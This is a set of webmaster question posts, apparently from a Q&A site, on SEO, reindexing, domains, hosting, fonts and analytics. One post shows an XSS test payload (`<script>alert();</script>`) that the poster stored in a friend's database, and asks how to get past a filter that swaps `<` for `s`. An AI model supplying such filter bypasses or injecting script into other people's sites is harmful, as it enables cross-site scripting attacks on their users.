I have a question regarding `Google index -> Remove URLs` from `Google Webmaster Tools`. Basically I have replaced my site completely but upon searching Google, it returned some old pages that didn't exist anymore, so I have used the remove URLs and deleted the few pages I found that led nowhere, and that was well and dandy. But then I noticed by changing the search words a bit, other pages that were cached and weren't accurate either. Now, unfortunately my old website was WordPress based, so there are quite a few of those cached pages that i want gone, so I went ahead and deleted the WHOLE website.               URL                           Status        Removal type       Requested     http://www.example.com/       Removed       Site removal       May 3, 2014      And it worked, my website is no longer in the search results. At all. So instead of manually requesting deletion of 50+ URLs, I got everything deleted with 1 action. Great I thought. But now I want to re-index it. and I'm not sure how to do that exactly because Webmaster Tools tells me that I have severe health issues, and if I click on that it says important pages were removed but that's accurate. So now I went to `Crawl -> Fetch as Google` and did a request there for my `www.example.com/` and selected to submit a URL and linked pages. Now I'm waiting for my website to be indexed again. My question is, did I do it the right way? I also have an option on `Remove URLs` to `Reinclude` the web site, but that's not what I want, because it will include the old outdated version. Did I do enough to have it re-index it? How long will it take for my site health to be back to normal, did I mess it up?


Dealing with spam by blocking URLs?

I run a giant community. Many spammers will use link shorteners or .tk domains that 301 to their spam offer. How are sites detecting the final domain and is this a viable solution to block spam? ex. I'll just block the spam: bit.ly/xdfd but then they will just use a different shortened link.


Forward the request to other backend system on Apache webserver?

I want to forward my domain request to my backend systems without creating subdomain. For example: `xyz.com` my domain, when anyone enter `1.xyz.com` request forward to `10.0.x.x`. I want to host my all backend.


Do you know any independent keyword (phrase) statistics trend website?

Does anyone know an equally impressive service that shows the amount of times a specific keyword (phrase) has been searched, as well as a branch of other similar words? The one discussed in this video (Wordtracker.com) seems very good, but has gone commercial unfortunately which is not what I'm looking for. I really would prefer free tool. http://www.youtube.com/watch?v=H2M1tXtAc18&feature=related


How do I do this?

Yesterday I visited the site. http://www.rottentomatoes.com After a few clicks, If Opened My facebook account, me, will immediately become a member. How it works? Document, the article I'm looking for this.. Thank you ..


1Gb Video in high res: How to be downloaded in reasonable time into each user’s screen?

I have this 1 GB video in high resolution that I’ve uploaded to my Amazon S3 account in order to play it in my site. The video is an online class with the professor in video, talking and some text displayed into the screen. I want to use our own site to play the video, but I’m afraid that it is so big, it will take forever to load into each student computer. Is there a way to solve this? If I lower the resolution, the text inside the video won’t get even read!


Is charging for a free domain transfer justified?

A client of ours is trying to transfer a .co.uk domain name away from her current web company. They are trying to charge her upwards of £100 for the transfer. I know that transfers of a .co.uk domain are free, so they have no costs to recover on their side by making the transfer. (or only £10.00+VAT for Nominet Transfers) Is this justified? Are they allowed to charge?   She's satisfied all accounts on their end, so they're not witholding in lieu of payment for services. FYI. In a whois lookup, my client's name is the under the registrant name heading, but with their company address under the registrant address section.


Can I remove the footer copyright from a bought website theme?

I'd like to know if it's legal to remove the footer copyright from a website theme, in this specific case a Wordpress theme. I've modified the header and the menu, created a logo for the site and put it in the header. I've also modified part of the CSS. I'd like to put a sign of my work in the page but I was wondering if I can delete the © creator_name from the footer and leave only my one. Site owner has paid for having this theme and then passed it to me to modify it, it's not a free one.


Test two different web hosts for speed, latency, etc

My site is currently hosted on an LA server. My target audience is Beijing, so I am moving to a server in Hong Kong (close enough without having to register with the gov't). I want to run some tests before and after on my site while its on the LA server and then when its on the Hong Kong server from Beijing. I am currently in Beijing, so that shouldn't be a problem. What I would like to know: what is a set of tests to measure website performance that I can run before and after, and how do I do them? I don't want to just decide anecdotally on whether it is indeed faster. I can run the tests at any time, maybe at different intervals, at different times during the day. Basically, I am just looking for an informed way to make a decision about performance -- whether it has increased, decreased or stayed the same after the move.


Domains with no name servers?

I have a few ccTLDs (.my) domains and I've just realised that there is no name servers for them at all. I wonder how that is even possible? Did the vendor whom I bought the domains from do something nasty?   I normally assume that once I buy a domain, there would be at least name servers (without any additional charges) available. Having no name servers also means the the domains are not parked with the registrar or the registrar cannot make money from them (big registrars such as GoDaddy makes loads of money from parked domains, don't you agree with me?) so this is really suspicous


Can adverts on your site actually help SEO?

My current understanding of SEO is this: One of the ways Google determines a webpage's quality is by how many people click back onto the SERPs. For example, if loads of people click onto your blog after searching "inception explained" and 0% of them click back, then Google will be more likely to rank your page highly. So this got me thinking: should you optimise your website for "abducting" visitors? By that I mean, do "Related Posts" tabs work well because they draw people away from the thing they were searching for and make them less likely to click back out of your website? And if so, would adverts not also have the same effect?


How to find out what # you are for google keyword

I'm trying to find out if there's a way to form a Google query to quickly find out what position you are for a search term. I know that Google Webmaster Tools and Google Analytics has something similar but I don't find it accurate.


How to void JavaScript on submission?

My friend is kind of web-developer, beginner. I noticed that he didn't purify his user input on form submission, so I could easily save to his DB working `<script>alert();</script>`. After some nice trolling with JavaScript, he changed his code to swap any `<` character to `s`. So for example writing `<script>alert();</script>` would save to DB as `sscript>alert();s/script>`. As being friend, I want to show that this is not the solution, and here goes the question - Is it possible to void JavaScript, when this kind of "security" is used?


Is it common, or "smart", for high-traffic sites use externally-hosted js/css frameworks?

Many popular JS/CSS frameworks are offered via Google's Libraries API (jQuery, Dojo, MooTools etc.). Yahoo also hosts it's own YUI toolkit, as do many others. Do any high volume/traffic sites actually rely on these externally-hosted resources (without hosting their own copies)? It seems like a great service to leverage, although in my experience I've often encountered these libraries packaged along with the projects I've worked on. What's the most common practice here? Moreover, is it safe and reliable (based on experience) to use these externally?


laggy web page with jquery and images

I have a slow down problem with my single page website: basically it uses a LOT of memory (around 120MB) and, when scrolling, it can easily reach 40-90% of CPU usage! I am wondering what the problem might be so I will try to explain what resources I am using.   * 50 20kb sized images (stretched to around 200x200px)   * medium jQuery usage (some effects, a lot of AJAX)   * jQuery isotope plugin   * using hash change events to have sort of PiP (page in page) effects - like open a profile or a comment view -   * around 20 jQuery event listeners   * saving to localStorage every 10 seconds Could this even be enough to slow it down that much, especially when scrolling? I am pretty sure there are much heavier pages like facebook, g docs, etc. I have absolutely no problem with safari (I am on mac) but chrome gets really laggy. I cannot seem to find a profiler that can help me isolate the problem. I have also removed all the effets regarding box-shadow or transparencies. Any help? Thanks in advance.


Google Analytics reporting pages with no titles set - how do I debug this?

I have been looking through some reports on Google Analytics and if I go to `CONTENT > Site Content > Pages` and filter by `Page Title` my highest visits Page Title is (not set). If I drill down into this to find the pages responsible they are all pages with titles (and indeed pretty much all of them are returned by the Page Title view with their titles). I started playing about with the site trying to view it in various ways with different things enabled and disabled in order to see if I could ever make the title not appear on the pages listed, I just couldn't. Has anyone come across this before and could provide me with a set of next steps in order to see what is happening. I have checked the advice given in this question and can report that the tracking code as not been altered in any way that would have logic to create this.


Legal Web Fonts & Licensing

So I'm a little confused in regards to legality of using fonts for web. Often from designers I get a PSD file and it uses a special font, and the font is supplied. However attempting to convert the font using: http://www.fontsquirrel.com/fontface/generator Ends up with a message saying it's blocked by Adobe. Not only that sometimes if the font can be converted, it often looks like crap when viewed in a browser. I assume that the generator is primarily for people to convert their own fonts, but if you purchase the use of a font then you can only use it for Web if the terms allows you to? The fonts used in PSD's are often Adobe Fonts, I can't find anything that suggests I can convert those and use them on the web. So I'm wondering if anyone knows the legal rights around using Photoshop supplied fonts on the web? In addition I'm wondering what resources are available (free/paid) that provide fonts that can be used on the web. Free:   * http://www.fontsquirrel.com   * http://www.google.com/webfonts Paid:   * http://www.fontshop.com This is the only one's I've found so far that aren't cartoon type fonts like what's primarily on www.dafont.com


How does Google crawler find pages?

Will Google crawler find a page that is not linked to? I.e. pages accessible by manually modifying the url, like `http://www.site.com/node/1/[secret keyword]`. Note that it is only secret in that there are no links to it; this "secret" path should't hold sensitive information.


Effective seo for 302 temporarily moved

I am currently working on a blog and the site is structued such that when you go to the url eg: www.example.com you are redirected to www.example.com/blog/10-10-2010/new-product-released.html (the url you are redirected to changes to the most recent blog entry). I was using a sitemap generator and the url www.example.com is displayed as 302 temporarily moved and I wanted to know what the effect was of this in terms of seo, also what would be the best way to cget this working for effective seo? Secondly, in terms of the sitemap should urls in a checkout area for an ecommerce app be included? Ps. I am using Apache on CentOS.


“C# grid control”: how to encode this in URL from SEO perspective?

We are developing a WinForms grid control, and selling it thru our website worldwide. At the current stage of SEO works, we found that there are many popular search phrases with the "c#" word we can use ("c# grid control", etc). But the sharp char (#) can't be encoded in URLs "as is" to have the maximal SEO effect for Google search. Here are possible choices to encode "c#":   1. "csharp".   2. "c sharp".   3. "c%23" (using hexadecimal codes).   4. No use of "#", so "c# grid" will look like "c-grid" in URL. So the question is: what is the best way to reflect "c#" in URLs from SEO perspective? Are there more alternatives?


No Obvious Answer - Query-Strings and Javascript

Say I have this main page `/my-site/all-my-bath-soaps` which lists all my products. It has a search filter text box that uses javascript to filter the products they want to see on that page (the URL doesn't change as they filter). Now from many other parts of the site I want to navigate to this products-page and see specific products. E.g.               <a href="/my-site/all-my-bath-soaps?filter='Nivea-Soap'">      will go to `/all-my-bath-soaps` and apply javascript filtering to see just that product and hide all dom nodes for the other products. The problem is if the user changes the text in the filter from 'Nivea-Soap' to 'Lynx' the javascript will work fine and show the new products but the URL stays at `?filter='Nivea-Soap'`. Is there anything I can do about this? Of course, I don't want to reload the page with a new query string every time they change the search criteria. Somehow it'd be great to move the ?filter=... criteria into POST data instead - but how can I do this with a link I don't know...


Where are the messages sent by a Joomla contact form?

Where can we find the messages sent by the users using contact form in Joomla 2.5? I just activated the contact us page in the menu. While testing it, after filling all the fields and submitting the form, I am getting the message that your request submitted successfully. As an admin, where can I find those messages? I am not receiving those messages as e-mail.


Huge surge in direct traffic from one particular town

Last month I noticed that the direct visits on our site have increased by nearly 150% whilst bounce rate is also considerably up. After drilling down further I can see that we have had nearly 2000 direct visits from one town in Connecticut called Stamford, with a bounce rate of 100%! I have been scratching around for answers but I can only find that it may be to do with our uptime monitoring tool; Pingdom. Does anyone know/have any experience with this kind of issue, any help is appreciated   * I have just noticed that we are receiving identical traffic in a town in England and a town in Scotland... This definitely makes me think it's to do with our uptime monitoring tool.


301 Redirects: SEO Credit After Modifications to Redirect

I recently moved `www.example1.com` to `www.example2.com`. Initially, for a period of perhaps 1-2 weeks, this move was most likely a redirect from `www.example1.com/blah` to `www.example2.com` (go to the new domain but don't find the content). I decided I needed better redirects because I wanted credit for some links I had, and I wanted to make sure users finding my links got pointed to the new page. Since my link structure was different in the new site, I wrote a redirect for every piece of content. It may not be ideal, but now when a page is requested on `example1.com` it redirects to the correct content on `example2.com`. This does _not_ work with individual assets, for instance some images which forum users linked to on my site. I made a few manual links to try to keep those working. But any "not found" resource will just bounce to the home page. My old domain had a domain authority between 20-30, but my new domain has a domain authority of 1. My question is this: now that I've changed my 301 redirects, does that change get detected by the G? And should I expect to get some of the domain authority back that I used to have? If so, what kind of timeframe should I be thinking?